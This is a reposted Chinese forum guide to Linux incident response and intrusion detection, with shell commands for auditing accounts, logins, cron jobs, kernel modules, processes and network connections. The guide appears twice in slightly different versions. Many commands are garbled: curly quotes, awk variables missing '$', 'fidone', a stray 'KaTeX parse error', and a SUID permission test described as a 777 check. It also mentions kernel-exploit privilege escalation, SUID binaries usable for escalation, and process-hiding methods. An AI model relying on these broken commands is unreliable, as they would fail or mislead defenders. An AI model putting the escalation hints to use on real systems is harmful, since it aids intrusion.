Linux入侵检测

转自极安中国
原帖地址https://bbs.secgeeker.net/thread-1093-1-1.html

**Linux系统入侵检测

一.Linux应急响应或入侵检测的检查项目获取了什么?目的是什么?

  1. 快照信息:获取服务器的当前运行情况的信息,基础信息,日志信息,用于取回后做深入分析;

  2. 异常检查:初筛作用,初步做些排查和异常检查;

  3. 入侵检测:如 rkmod 等后门特征检查,包括历史曾经发现过的后门检查;
    二. 入侵检测和Linux应急检查为对应关系,二者关注什么地方和区别是什么?

1. 应急响应人工肉眼看,适用于经验分析;

2. 入侵检测使用分析脚本以及大数据自动化处理和判断,适用于全面分析和大规模的数据分析;
3. 入侵检测存储到 ES 的 IR 索引中,使用 SOC分析工具来处理,也作为学习数据。

基础信息

系统版本、主机名、内核版本收集

分析项:最基本的提权方式,查看内核版本,搜索对应的exp进行提权

uname -a
系统运行时间

uptime

timedatectl

系统当前已经运行时间、时区等信息

网卡配置

分析方法:

1.判断网卡是否为混杂模式来确定机器是否在嗅探流量

ip link show | grep PROMISC
路由信息

分析方法:

1、同类数据聚合分析,查找通过同一个路由表进出

route -n

arp信息

分析方法:

  1. 服务器上arp 记录应该是只有实际建立过连接的 IP 才有 arp,可以聚类检查是否有超同组业务以外的 arp 地址。

  2. mc地址对应的 ip 应该是固定的,可以检查是否有 mac和 IP 不一致的,如有就是有 arp 欺骗

arp -a -n

登录用户

分析项:有无爆破以及爆破痕迹,有无异常登录痕迹

分析方法:

/etc/passwd

1.除root以为UID为0的帐号(UID为0的帐号也不一定都是可疑帐号,Freebsd默认存在toor帐号,且uid为0.(toor 在BSD官网解释为root替代帐号,属于可信帐号))

2.非系统管理员添加的具有shell权限的帐号

awk -F: ‘(3 == “0” &&1!=“root”) {print}’ /etc/passwd (查询uid为0的账号)

awk -F: ‘(4 == “0” &&1!=“root” && 1!=“sync” &&1!=“shutdown” && 1!=“halt” &&1!=“operator”) {print}’ /etc/passwd (查询gid为0的账号)

具有 shell 环境的用户——异常用户

分析方法:

1.查看当前环境中具有shell权限的用户,分析找出可疑用户。

2.同类数据聚合统计,发现未知的异常用户。

awk -F: ‘{if(7!~“nologin” &&7!~“shutdown” && 7!~“halt” &&7!~“false” && $7!~“sync”) print}’ /etc/passwd
sudo授权信息——异常用户权限

分析方法:

1.排除法,过滤掉正常用户的sudo权限,找出那些无需密码就可以执行root命令的用户。

2.在同类数据中聚合这些异常权限用户,统计可控的服务器范围

cat /etc/sudoers | grep -Ev “^$|#”
登录信息

分析项:登录错误是否为爆破用户,

查看系统用户登录信息

(a)last(数据源为/var/log/wtmp,wtmp文件中保存的是登录过本系统的用户的信息),统计系统所有用户的登录时间和信息,包括系统曾经进行过重启操作的重启时间信息,获取用户成功登陆的时间点和在线时长

  1. 用排除法,去掉正常登录 IP,找出异常登录 IP。

  2. 分析同一类业务的登录 IP,看是否有超范围的登录。

  3. 单个主机上等于用户统计分析,查看数据少的用户是否为异常用户

  4. 同一类数据登录用户进行聚合统计排序,查看数据少的用户是否为异常用户

  5. last登录用户和ip是否是不常用用户和ip,以及ip是否属于公网ip
    (b)lastlog 系统中所有用户最近一次登录信息(源为/var/log/utmp文件)

分析项:

1.排查一般不可登录的用户是否曾经登陆过,以及登录方式和登录IP。

2.同类业务登录用户聚合排序(登录用户IP聚合排序),来排查恶意用户控制的主机数量
(c) lastb(数据源为/var/log/btmp) 用于显示用户错误的登录列表;

分析项:

  1. 用排除法,去掉正常登录错误 IP,找出异常登录错误IP。

  2. 分析同一类业务的登录错误 IP,看是否有超范围的登录。

  3. 同一类数据登录用户进行聚合统计排序,查看登录错误过多IP是否存在登录成功情况。
    Ps:/var/log/wtmp 文件结构和/var/run/utmp 文件结构一样,都是引用/usr/include/bits/utmp.h中的struct utmp;

系统敏感文件/目录

分析方法:有无可疑文件

系统新增文件

毋庸置疑,无论是weshell,还是后门总会对系统文件做修改的

find ./ -mtime 0 -name"*.php"(查找24小时内被修改的php文件)

find / -ctime 2(查找72小时内新增的文件)

查找777的权限的文件➜➜➜ find / *.jsp -perm4777

ls -ar |grep “^.” 查找以.开头的隐藏文件
tmp目录

最近刚爆发的WatchDogsMiner挖矿蠕虫表现为/tmp临时目录存在watchdogs文件,出现了crontab任务异常、网络异常、系统文件被删除、CPU异常卡顿等情况
异常访问目标

root用户登录时源IP地址

分析方法:

这里的是主动SSH 外联 IP。

1.获取 /root/.ssh/known_hosts文件得到root用户登录时源IP地址

2.通过白名单过滤,判断是否有异常ssh 登录;

3.通过同类型业务聚类,判断是否有超范围访问。
awk ‘{print $1}’ /root/.ssh/known_hosts
其他用户登录时源IP地址

分析方法:

这里的是主动SSH 外联 IP。

1.通过遍历 /home/目录下的用户目录,获取 /home/*/.ssh/known_hosts文件得到该用户登录时源IP地址

  1. 通过白名单过滤,判断是否有异常ssh 登录;

  2. 通过同类型业务聚类,判断是否有超范围访问。

for file in /home/*

do

if [ -d $file ]   

then      

        echo -e "$file" >> $ SSHKNOWN_HOSTS      

        awk '{print $1}'/$file/.ssh/known_hosts >>$ SSHKNOWN_HOSTS   

fidone
异常公钥用户

root用户公钥登录时公钥信息

分析方法:

1.获取 /root/.ssh/authorized_keys文件得到root用户公钥登录时公钥信息

2.根据白名单过滤root下公钥用户,查找异常的用户。

3.在同类数据中聚合统计,找到超过范围的异常公钥用户。

awk ‘{print 1,3}’ /root/.ssh/authorized_keys

其他用户公钥登录时公钥信息

分析方法:

1.通过遍历 /home/目录下的用户目录,获取 /home/*/.ssh/authorized_keys文件得到该用户公钥登录时公钥信息

2.根据白名单过滤公钥用户,查找异常的用户。

3.在同类数据中聚合统计,找到超过范围的异常公钥用户。
for file in /home/*

do

if [ -d $file ]

then

echo -e "$file" >> $ SSHKNOWN_KEYS

awk '{print $1,$3}' /$file/.ssh/authorized_keys >> $ SSHKNOWN_KEYS

fi
done

防火墙配置信息

分析方法:

排查对已受访问控制的服务和系统是否有不规范的防火墙信息
iptables -L -nv

系统中rpm包校验

分析方法:

-V校验rpm包中的文件有无修改,没有提示即没有修改,主要验证8个信息

rpm -aV
异常检测

开机启动项

/etc/init.d是 /etc/rc.d/init.d 的软链接,测试新装的linux系统必须开启的服务,其他根据自己的工作需求来

ssd、rsyslog、network、crond

/etc/rc.local 脚本内容——异常自动执行脚本

分析方法:

1.基于白名单过滤,查找异常的执行命令

2.基于已知的特征做数量统计或异常行为分析。
cat /etc/rc.local | grep -Ev “#$|#”

配置文件会在用户登陆之前读取,这个文件中写入了什么命令,在每次系统启动时都会执行一次,默认内容为“touch /var/lock/subsys/local”

计划任务

分析方法:

1.通过关键字发现root的恶意计划任务,如(反弹命令)

2.白名单过滤找到异常的计划任务

crontab -l 或者 crontab -c /var/spool/cron/ -l

/etc/crontab为系统执行计划,/var/spool/cron/为以帐号来区分每个用户的执行任务

/etc/cron.d 计划任务内容——etc下异常计划任务

分析方法:

1.白名单过滤找到异常的计划任务

2.关注挖矿等计划任务

find /etc/cron.d/ |xargs grep -Ev “^#”
用户定义的自启动项

分析方法:

注意这里面有时会用到 xinetd 服务,需要解析这里面的服务名和服务状态,因为服务状态只有on和off,计划状态为on时 level0-6都为on,反之亦然。

1.白名单过滤发现异常启动项。

2.同类数据统计分析,查找未知的异常自启服务

用户配置的自启动项

chkconfig --list
系统自启动项

分析方法:

1.白名单过滤发现异常启动项。

systemctl list-unit-files | grep enabled
系统内核模块运行时的文件信息

分析方法:

1.根据文件夹时间戳,再白名单过滤找到未知的恶意内核模块

默认系统内核模块文件信息

ls -alt /sys/module

8250 gf128mul mousedev snd

ablk_helper ghash_clmulni_intel mptbase snd_ac97_codec

ac97_bus glue_helper mptscsih snd_ens1371

acpi hid mptspi snd_pcm

acpiphp hid_apple netpoll snd_rawmidi

aesni_intel hid_magicmouse nf_conntrack snd_seq

ata_generic hid_ntrig nf_conntrack_ipv4 snd_seq_device

ata_piix i2c_piix4 nf_conntrack_ipv6 snd_seq_midi

battery i8042 nf_defrag_ipv4 snd_seq_midi_event

binfmt_misc intel_idle nf_defrag_ipv6 snd_timer

block intel_ishtp nfit soundcore

bridge iosf_mbi nf_nat spurious

cdrom ip6table_filter nf_nat_ipv4 sr_mod

configfs ip6table_mangle nf_nat_ipv6 stp

cpuidle ip6table_nat nfnetlink suspend

crc32c_intel ip6table_raw nf_reject_ipv4 syscopyarea

crc32_pclmul ip6_tables nf_reject_ipv6 sysfillrect

crc_t10dif ip6table_security parport sysimgblt

crct10dif_common ip6t_REJECT parport_pc sysrq

crct10dif_generic ip6t_rpfilter pata_acpi tcp_cubic

crct10dif_pclmul ip_set pcie_aspm thermal

cryptd iptable_filter pciehp tpm

debug_core iptable_mangle pci_hotplug tpm_tis

dm_log iptable_nat pci_slot tpm_tis_core

dm_mirror iptable_raw pcmcia_core ttm

dm_mod ip_tables pcspkr uhci_hcd

dm_region_hash iptable_security ppdev usbcore

drm ipt_REJECT printk usbhid

drm_kms_helper ipv6 processor uv_nmi

drm_panel_orientation_quirks joydev psmouse vmd

dynamic_debug kdb_main pstore vmw_balloon

e1000 kernel rcupdate vmwgfx

ebtable_broute keyboard rcutree vmw_vmci

ebtable_filter kgdboc rng_core vt

ebtable_nat kgdbts scsi_dh_alua watchdog

ebtables libata scsi_dh_rdac workqueue

edac_core libcrc32c scsi_mod xfs

efi_pstore libnvdimm scsi_transport_spi xhci_hcd

efivars llc sd_mod xt_conntrack

ehci_hcd lrw serio_raw xz_dec

fb_sys_fops md_mod sg zswap

firmware_class module shpchp

内核模块

分析方法:

1.白名单过滤,查找异常的内核模块。

2.同类数据聚合并统计分析,发现被植入的未知的内核模块

3.根据业务扩充白名单

lsmod |./busybox grep -Ev “Module|nfnetlink_queue|nfnetlink_log|nfnetlink|bluetooth|rfkill|fuse|xt_CHECKSUM|ipt_MASQUERADE|nf_nat_masquerade_ipv4|tun|binfmt_misc|ip6t_rpfilter|ip6t_REJECT|ipt_REJECT|xt_conntrack|ebtable_nat|ebtable_broute|bridge|stp|llc|ebtable_filter|ebtables|ip6table_nat|nf_conntrack_ipv6|nf_defrag_ipv6|nf_nat_ipv6|ip6table_mangle|ip6table_security|ip6table_raw|ip6table_filter|ip6_tables|iptable_nat|nf_conntrack_ipv4|nf_defrag_ipv4|nf_nat_ipv4|nf_nat|nf_conntrack|iptable_mangle|iptable_security|iptable_raw|iptable_filter|dm_mirror|dm_region_hash|dm_log|dm_mod|intel_powerclamp|coretemp|kvm_intel|kvm|crc32_pclmul|ghash_clmulni_intel|aesni_intel|lrw|gf128mul|glue_helper|ablk_helper|cryptd|iTCO_wdt|i7core_edac|iTCO_vendor_support|lpc_ich|edac_core|sg|mfd_core|ioatdma|ipmi_devintf|shpchp|ipmi_ssif|dcdbas|pcspkr|dca|ipmi_si|ipmi_msghandler|acpi_power_meter|nfsd|auth_rpcgss|nfs_acl|lockd|grace|sunrpc|ip_tables|xfs|libcrc32c|sd_mod|crc_t10dif|crct10dif_generic|mgag200|syscopyarea|sysfillrect|sysimgblt|i2c_algo_bit|drm_kms_helper|ttm|crct10dif_pclmul|crct10dif_common|crc32c_intel|drm|serio_raw|megaraid_sas|i2c_core|bnx2|snd_seq_midi|snd_ens1371|snd_rawmidi|snd_ac97_codec|ac97_bus|snd_seq|ppdev|soundcore|vmw_balloon|parport_pc|parport|vmw_vmci|i2c_piix4|sr_mod|ata_generic|pata_acpi|vmwgfx|ahci|libahci|ata_piix|mptspi|scsi_transport_spi|mptscsih|mptbase|libata|e1000|snd_page_alloc|xt_state|vmware_balloon|ext4|mbcache|jbd2”

运行进程

分析方法:

1.根据白名单过滤发现父进程为1的异常进程。

2.根据cpu使用率发现挖矿进程。

3.根据进程运行时间来发现异常进程。

4.查找无父进程的孤立进程

5.通过对比两种方式获取的进程数是否相等来判断是否有正在运行的进程被隐藏

6.通过rootkit分析工具,如chkproc,chkrootkit,rootkit hunter

ps auxfww
案例:

隐藏方法:

https://blog.csdn.net/qq_27446553/article/details/54591099

(a)强行将进程 pid 变为 0,这种方法存在破绽因此不予考虑。

(b)系统启动时会依据 /etc/fstab 文件内容来挂载分区,在 proc 分区挂载参数中加入 hidepid=2 参数后,登陆系统的用户只能查看到当前用户启动的进程的信息。也就是说, tomcat 用户只能看到属于 tomcat 用户进程的信息。

(c)ps命令和top命令从/proc文件系统中读取进程信息并显示出来。因此,如果一个进程的进程号没有在/proc文件系统中反映出来,则这个进程被“隐藏”了,“隐藏”进程在ps或top命令的输出不出现

You have 294 process hidden for readdir command

You have 294 process hidden for ps command

网络连接信息

网络连接信息

分析方法:

1.发现异常监听端口进程,异常的连接通信。

2.与后面的lsof输出结果做对比来发现异常端口和连接(命令替换或者rootkit过滤不完全)。

3.同类数据中聚合统计,如:pname,dst_ip,dst_port,src_port发现其恶意控制范围
netstat -antup

netstat输出sockets信息

分析方法:

通过白名单过滤来发现具有socket连接的进程信息
netstat -plantux

lsof获取网络连接信息

分析方法:

1.与上面netstat获取的数据进行对比分析发现异常端口和连接

lsof -nPi | grep -v “127.0.0.1” |grep -v “::1”
ps:

1.netstat无权限控制,lsof有权限控制,只能看到本用户

2.losf能看到pid和用户,可以找到哪个进程占用了这个端口

进程文件

进程运行文件路径

分析方法:

1.通过白名单过滤来发现异常进程。

2.发现已处于deleted状态的异常进程

find /proc -path ‘/proc/sys/fs’ -prune -o -print |xargs ls -al | grep ‘exe ->’ | sort -u >tmp.txt
进程文件MD5计算

分析方法:

1.根据版本,和已知MD5值作对比判断文件是否被替换。

2.Md5可以diff原始文件或者通过 VT跑一跑,分析有没有已知恶意程序
find /proc -path ‘/proc/sys/fs’ -prune -o -print |xargs ls -al | grep “exe ->” |awk ‘{print $11}’|sort -u >> tmp.txt

for file in $( cat tmp.txt)

do

f=( ls -tlfile|awk ‘{print $5}’)

if [ $f -le 50000000 ]; then

md5sum $file >> exe.hash

fi

done

diff exe.hash exe1.hash

具有SUID的可执行文件

分析方法:

通过白名单顾虑发现可疑的就有suid权限的文件
已知可以用来提权的linux可执行文件有:

Nmap、vim、find、bash、more、less、nano、cp

默认具有SUID的可执行文件如下:
find / -user root -perm -4000 -print 2>/dev/null

进程中被删除的文件

分析方法:

1.通过已删除的文件名判断是否为恶意的进程或者是被注入的恶意文件。

lsof | grep DEL

rootkit进程信息

日志异常检测

日志获取

分析方法:

获取 /var/log/ 目录下 audit、btmp、wtmp、secure、cron、lastlog日志
wtmp的信息

异常常登录、异常用户、异常计划任务;
3. 用排除法,去掉正常登录 IP,找出异常登录 IP;

  1. 通过白名单过滤,判断是否有异常ssh 登录;

  2. 统计确认是否有异常计划任务;

  3. 排除系统正常业务简化内容

7.通过人工确认

tar -zcf var_log.tar.gz /var/log/audit /var/log/btmp* /var/log/wtmp* /var/log/secure* /var/log/cron* /var/log/lastlog

日志分析

Audit日志

错误登录日志

分析方法:

1.根据错误登录频次发现异常登录用户、登录IP。

2.与passwd_login_users标签数据作对比,发现异常用户。

  1. 判断是否有超正常范围的 IP 登录记录。

4.同类数据聚合统计acct用户,数量极少的用户需要人工排查
grep -i “fail” /var/log/audit/audit.log*

sudo操作日志

分析方法:

1.排除法,过滤掉正常用户的sudo权限

2.在同类数据中聚合这些异常权限用户,统计可控的服务器范围

grep -i “sudo” /var/log/audit/audit.log*

信息统计

分析方法:

  1. 获取系统近一个月的统计信息,如:用户数量,错误登录用户数,执行命

令数,事件数等

Aureport

Cron日志

直入主题,WEB层的入侵检测一般会根据agent头信息、POST包请求信息基于攻击特征结合多逻辑语句以及响应体检测,HIDS基于主机层面去检测,关于HIDS入侵检测的内容比较多,这里根据自己的经验总结通用的应急流程,应急响应是个体力活,但是很有意思,攻防对抗中,谁更了解这个系统,谁就拥有主动权。本小白记忆力不好,特此记录,也方便后期自己应急和升华。

0x01:前言

基于主机层的应急响应和入侵检测还是又很多相同的地方的,那区别点又在哪?

一.Linux应急响应或入侵检测的检查项目获取了什么信息?目的又是什么?

  1. 快照信息:HIDS可以获取服务器的当前运行情况的信息,基础信息,日志信息,便于安全监控和后期取证或深入分析;

  2. 异常检查:初筛作用,初步做些排查和异常检查,若发现异常,人工入侵分析;

  3. 入侵检测:如 rkmod 等后门特征检查,包括历史曾经发现过的后门检查;

二. 入侵检测和Linux应急检查为对应关系,二者关注什么地方和区别是什么?

1. 应急响应人工肉眼看,适用于经验分析;

2. 入侵检测使用分析脚本以及大数据自动化处理和判断,适用于全面分析和大规模的数据分析;
3. 入侵检测一般回存储到 ES 的 索引中,使用 常见的安全架构SOC分析工具来处理,也作为学习数据。

0x02:排查流程

一:基础信息

(1.)系统版本、主机名、内核版本收集

分析项:最基本的提权方式,查看内核版本,搜索对应的exp进行提权

uname -a

(2)系统运行时间

分析方法:系统当前已经运行时间、时区等信息,在海量的日志里,在排除一些正常业务的日志后,以时间/IP为准线是一个比较不错的主线

uptime

timedatectl

(3)网卡配置

分析方法:

1.判断网卡是否为混杂模式来确定机器是否在嗅探流量

ip link show | grep PROMISC

(4)路由信息

分析方法:查找通过同一个路由表进出

route -n

(5)arp信息

分析方法:

  1. 服务器上arp 记录应该是只有实际建立过连接的 IP 才有 arp,可以聚类检查是否有超同组业务以外的 arp 地址。

  2. mc地址对应的 ip 应该是固定的,可以检查是否有 mac和 IP 不一致的,如有就是有 arp 欺骗

arp -a -n

(5)登录用户

分析项:有无爆破以及爆破痕迹,有无异常登录痕迹

分析方法:

/etc/passwd

1.除root以为UID为0的帐号(UID为0的帐号也不一定都是可疑帐号,Freebsd默认存在toor帐号,且uid为0.(toor 在BSD官网解释为root替代帐号,属于可信帐号))

2.非系统管理员添加的具有shell权限的帐号

awk -F: ‘(3 == “0”&&1!=“root”) {print}’ /etc/passwd (查询uid为0的账号)

awk -F: ‘(4 == “0”&&1!=“root” && 1!=“sync” &&1!=“shutdown” && 1!=“halt” &&1!=“operator”) {print}’ /etc/passwd (查询gid为0的账号)

(6)具有 shell 环境的用户——异常用户

分析方法:

1.查看当前环境中具有shell权限的用户,分析找出可疑用户。

2.同类数据聚合统计,发现未知的异常用户。

awk -F: ‘{if(7!“nologin”&&7!“shutdown” && 7!“halt”&&7!“false” && $7!~“sync”) print}’/etc/passwd

(7)sudo授权信息——异常用户权限

分析方法:

1.排除法,过滤掉正常用户的sudo权限,找出那些无需密码就可以执行root命令的用户。

2.在同类数据中聚合这些异常权限用户,统计可控的服务器范围

cat /etc/sudoers | grep -Ev"^$|#"

(8)登录信息

分析项:

(a)last(数据源为/var/log/wtmp,wtmp文件中保存的是登录过本系统的用户的信息),统计系统所有用户的登录时间和信息,包括系统曾经进行过重启操作的重启时间信息,获取用户成功登陆的时间点和在线时长

  1. 用排除法,去掉正常登录 IP,找出异常登录 IP。

  2. 分析同一类业务的登录 IP,看是否有超范围的登录。

  3. 单个主机上等于用户统计分析,查看数据少的用户是否为异常用户

  4. 同一类数据登录用户进行聚合统计排序,查看数据少的用户是否为异常用户

  5. last登录用户和ip是否是不常用用户和ip,以及ip是否属于公网ip

(b)lastlog 系统中所有用户最近一次登录信息(源为/var/log/utmp文件)

1.排查一般不可登录的用户是否曾经登陆过,以及登录方式和登录IP。

2.同类业务登录用户聚合排序(登录用户IP聚合排序),来排查恶意用户控制的主机数量
(c) lastb(数据源为/var/log/btmp) 用于显示用户错误的登录列表;

  1. 用排除法,去掉正常登录错误 IP,找出异常登录错误IP。

  2. 分析同一类业务的登录错误 IP,看是否有超范围的登录。

  3. 同一类数据登录用户进行聚合统计排序,查看登录错误过多IP是否存在登录成功情况。

Ps:/var/log/wtmp 文件结构和/var/run/utmp 文件结构一样,都是引用/usr/include/bits/utmp.h中的struct utmp;
(9)系统敏感文件/目录

分析方法:毋庸置疑,无论是weshell,还是后门总会对系统文件做修改的,分析有无可疑文件、系统新增文件

查找24小时内被修改的php文件➜➜➜ find ./ -mtime 0-name"*.php"

查找72小时内新增的文件➜➜➜ find / -ctime 2

查找777的权限的文件➜➜➜ find / *.jsp -perm4777

查找以.开头的隐藏文件➜➜➜ ls -ar |grep"^."

(10)TMP目录

最近刚爆发的WatchDogsMiner挖矿蠕虫表现为/tmp临时目录存在watchdogs文件,出现了crontab任务异常、网络异常、系统文件被删除、CPU异常卡顿等情况

(11)异常访问目标

分析方法:

分析root用户登录时源IP地址,这里的是主动SSH 外联 IP。

1.获取 /root/.ssh/known_hosts文件得到root用户登录时源IP地址

2.通过白名单过滤,判断是否有异常ssh 登录;

3.通过同类型业务聚类,判断是否有超范围访问。
awk ‘{print$1}’ /root/.ssh/known_hosts

其他用户登录时源IP地址

分析方法:

这里的是主动SSH 外联 IP。

1.通过遍历 /home/目录下的用户目录,获取 /home/*/.ssh/known_hosts文件得到该用户登录时源IP地址

  1. 通过白名单过滤,判断是否有异常ssh 登录;

  2. 通过同类型业务聚类,判断是否有超范围访问。

for file in /home/*

do

if [ -d $file]

then

echo -e"$file" >> $ SSHKNOWN_HOSTS      

awk '{print KaTeX parse error: Expected 'EOF', got '}' at position 2: 1}̲'/file/.ssh/known_hosts>>$ SSHKNOWN_HOSTS
fidone

(12)异常公钥用户

分析方法:分析异常root用户公钥登录时公钥信息

1.获取 /root/.ssh/authorized_keys文件得到root用户公钥登录时公钥信息

2.根据白名单过滤root下公钥用户,查找异常的用户。

3.在同类数据中聚合统计,找到超过范围的异常公钥用户。

awk ‘{print 1,3}’ /root/.ssh/authorized_keys

其他用户公钥登录时公钥信息

分析方法:

1.通过遍历 /home/目录下的用户目录,获取 /home/*/.ssh/authorized_keys文件得到该用户公钥登录时公钥信息

2.根据白名单过滤公钥用户,查找异常的用户。

3.找出超过范围的异常公钥用户。

for file in /home/*

do

if [ -d $file ]

then

echo -e"$file" >> $ SSHKNOWN_KEYS

awk'{print $1,$3}' /$file/.ssh/authorized_keys >> $ SSHKNOWN_KEYS

fi
done

(13)防火墙配置信息

分析方法:

排查对已受访问控制的服务和系统是否有不规范的防火墙信息

iptables -L-nv

(14)系统中rpm包校验

分析方法:

-V校验rpm包中的文件有无修改,没有提示即没有修改,主要验证8个信息

rpm -aV

二:异常检测

(1)开机启动项

/etc/init.d是 /etc/rc.d/init.d 的软链接,测试新装的linux系统必须开启的服务,其他根据自己的工作业务需求

ssd、rsyslog、network、crond

(2)/etc/rc.local 脚本内容——异常自动执行脚本

分析方法:

1.基于白名单过滤,查找异常的执行命令

2.基于已知的特征做数量统计或异常行为分析。

cat /etc/rc.local | grep -Ev"#$|#"
配置文件会在用户登陆之前读取,这个文件中写入了什么命令,在每次系统启动时都会执行一次,默认内容为“touch /var/lock/subsys/local”

(3)计划任务

分析方法:

1.通过关键字发现root的恶意计划任务,如(反弹命令)

2.白名单过滤找到异常的计划任务

crontab -l 或者 crontab-c /var/spool/cron/ -l

ps:/etc/crontab为系统执行计划,/var/spool/cron/为以帐号来区分每个用户的执行任务

(3)/etc/cron.d 计划任务内容——etc下异常计划任务

分析方法:

1.白名单过滤找到异常的计划任务

2.关注挖矿等计划任务

find /etc/cron.d/ |xargs grep -Ev “^#”

(4)用户定义的自启动项

分析方法:

注意这里面有时会用到 xinetd 服务,需要解析这里面的服务名和服务状态,因为服务状态只有on和off,计划状态为on时 level0-6都为on,反之亦然。

1.白名单过滤发现异常启动项。

2.同类数据统计分析,查找未知的异常自启服务

用户配置的自启动项

chkconfig --list

(5)系统自启动项

分析方法:

1.白名单过滤发现异常启动项。

systemctl list-unit-files | grep enabled

(6)系统内核模块运行时的文件信息

分析方法:

1.根据文件夹时间戳,再白名单过滤找到未知的恶意内核模块
默认系统内核模块文件信息

ls -alt /sys/module

8250 gf128mul mousedev snd

ablk_helper ghash_clmulni_intel mptbase snd_ac97_codec

ac97_bus glue_helper mptscsih snd_ens1371

acpi hid mptspi snd_pcm

acpiphp hid_apple netpoll snd_rawmidi

aesni_intel hid_magicmouse nf_conntrack snd_seq

ata_generic hid_ntrig nf_conntrack_ipv4 snd_seq_device

ata_piix i2c_piix4 nf_conntrack_ipv6 snd_seq_midi

battery i8042 nf_defrag_ipv4 snd_seq_midi_event

binfmt_misc intel_idle nf_defrag_ipv6 snd_timer

block intel_ishtp nfit soundcore

bridge iosf_mbi nf_nat spurious

cdrom ip6table_filter nf_nat_ipv4 sr_mod

configfs ip6table_mangle nf_nat_ipv6 stp

cpuidle ip6table_nat nfnetlink suspend

crc32c_intel ip6table_raw nf_reject_ipv4 syscopyarea

crc32_pclmul ip6_tables nf_reject_ipv6 sysfillrect

crc_t10dif ip6table_security parport sysimgblt

crct10dif_common ip6t_REJECT parport_pc sysrq

crct10dif_generic ip6t_rpfilter pata_acpi tcp_cubic

crct10dif_pclmul ip_set pcie_aspm thermal

cryptd iptable_filter pciehp tpm

debug_core iptable_mangle pci_hotplug tpm_tis

dm_log iptable_nat pci_slot tpm_tis_core

dm_mirror iptable_raw pcmcia_core ttm

dm_mod ip_tables pcspkr uhci_hcd

dm_region_hash iptable_security ppdev usbcore

drm ipt_REJECT printk usbhid

drm_kms_helper ipv6 processor uv_nmi

drm_panel_orientation_quirks joydev psmouse vmd

dynamic_debug kdb_main pstore vmw_balloon

e1000 kernel rcupdate vmwgfx

ebtable_broute keyboard rcutree vmw_vmci

ebtable_filter kgdboc rng_core vt

ebtable_nat kgdbts scsi_dh_alua watchdog

ebtables libata scsi_dh_rdac workqueue

edac_core libcrc32c scsi_mod xfs

efi_pstore libnvdimm scsi_transport_spi xhci_hcd

efivars llc sd_mod xt_conntrack

ehci_hcd lrw serio_raw xz_dec

fb_sys_fops md_mod sg zswap

firmware_class module shpchp

(7)内核模块

分析方法:

1.白名单过滤,查找异常的内核模块。

2.同类数据聚合并统计分析,发现被植入的未知的内核模块

3.不断的根据业务扩充白名单

lsmod |./busybox grep -Ev"Module|nfnetlink_queue|nfnetlink_log|nfnetlink|bluetooth|rfkill|fuse|xt_CHECKSUM|ipt_MASQUERADE|nf_nat_masquerade_ipv4|tun|binfmt_misc|ip6t_rpfilter|ip6t_REJECT|ipt_REJECT|xt_conntrack|ebtable_nat|ebtable_broute|bridge|stp|llc|ebtable_filter|ebtables|ip6table_nat|nf_conntrack_ipv6|nf_defrag_ipv6|nf_nat_ipv6|ip6table_mangle|ip6table_security|ip6table_raw|ip6table_filter|ip6_tables|iptable_nat|nf_conntrack_ipv4|nf_defrag_ipv4|nf_nat_ipv4|nf_nat|nf_conntrack|iptable_mangle|iptable_security|iptable_raw|iptable_filter|dm_mirror|dm_region_hash|dm_log|dm_mod|intel_powerclamp|coretemp|kvm_intel|kvm|crc32_pclmul|ghash_clmulni_intel|aesni_intel|lrw|gf128mul|glue_helper|ablk_helper|cryptd|iTCO_wdt|i7core_edac|iTCO_vendor_support|lpc_ich|edac_core|sg|mfd_core|ioatdma|ipmi_devintf|shpchp|ipmi_ssif|dcdbas|pcspkr|dca|ipmi_si|ipmi_msghandler|acpi_power_meter|nfsd|auth_rpcgss|nfs_acl|lockd|grace|sunrpc|ip_tables|xfs|libcrc32c|sd_mod|crc_t10dif|crct10dif_generic|mgag200|syscopyarea|sysfillrect|sysimgblt|i2c_algo_bit|drm_kms_helper|ttm|crct10dif_pclmul|crct10dif_common|crc32c_intel|drm|serio_raw|megaraid_sas|i2c_core|bnx2|snd_seq_midi|snd_ens1371|snd_rawmidi|snd_ac97_codec|ac97_bus|snd_seq|ppdev|soundcore|vmw_balloon|parport_pc|parport|vmw_vmci|i2c_piix4|sr_mod|ata_generic|pata_acpi|vmwgfx|ahci|libahci|ata_piix|mptspi|scsi_transport_spi|mptscsih|mptbase|libata|e1000|snd_page_alloc|xt_state|vmware_balloon|ext4|mbcache|jbd2"

(8)运行进程(需关注)

分析方法:

1.根据白名单过滤发现父进程为1的异常进程。

2.根据cpu使用率发现挖矿进程。

3.根据进程运行时间来发现异常进程。

4.查找无父进程的孤立进程

5.通过对比两种方式获取的进程数是否相等来判断是否有正在运行的进程被隐藏

6.通过rootkit分析工具,如chkproc,chkrootkit,rootkit hunter

ps auxfww

案例:

隐藏方法:参考链接

(a)强行将进程 pid 变为 0,这种方法存在破绽因此不予考虑。

(b)系统启动时会依据 /etc/fstab 文件内容来挂载分区,在 proc 分区挂载参数中加入 hidepid=2 参数后,登陆系统的用户只能查看到当前用户启动的进程的信息。也就是说, tomcat 用户只能看到属于 tomcat 用户进程的信息。

(c)ps命令和top命令从/proc文件系统中读取进程信息并显示出来。因此,如果一个进程的进程号没有在/proc文件系统中反映出来,则这个进程被“隐藏”了,“隐藏”进程在ps或top命令的输出不出现

(9)网络连接信息

分析方法:

1.发现异常监听端口进程,异常的连接通信。

2.与后面的lsof输出结果做对比来发现异常端口和连接(命令替换或者rootkit过滤不完全)。

3.同类数据中聚合统计,如:pname,dst_ip,dst_port,src_port发现其恶意控制范围

netstat -antup
(10)netstat输出sockets信息

分析方法:

通过白名单过滤来发现具有socket连接的进程信息
netstat -plantux

(11)lsof获取网络连接信息

分析方法:

1.与上面netstat获取的数据进行对比分析发现异常端口和连接

lsof -nPi | grep -v"127.0.0.1" |grep -v “::1”

ps:

1.netstat无权限控制,lsof有权限控制,只能看到本用户

2.losf能看到pid和用户,可以找到哪个进程占用了这个端口

(12)进程文件

分析方法:

1.通过白名单过滤来发现异常进程。

2.发现已处于deleted状态的异常进程

find /proc -path ‘/proc/sys/fs’-prune -o -print |xargs ls -al | grep’exe ->’ | sort -u >tmp.txt
(13)进程文件MD5计算

分析方法:

1.根据版本,和已知MD5值作对比判断文件是否被替换。

2.Md5可以diff原始文件或者通过 VT跑一跑,分析有没有已知恶意程序
find /proc -path ‘/proc/sys/fs’-prune -o -print |xargs ls -al | grep “exe ->” |awk ‘{print$11}’|sort -u >> tmp.txt

for file in $( cat tmp.txt)

do

f=( ls -tlfile|awk ‘{print$5}’)

if [ $f -le 50000000 ]; then

md5sum $file >> exe.hash

fi

done

diff exe.hash exe1.hash

(14)具有SUID的可执行文件

分析方法:

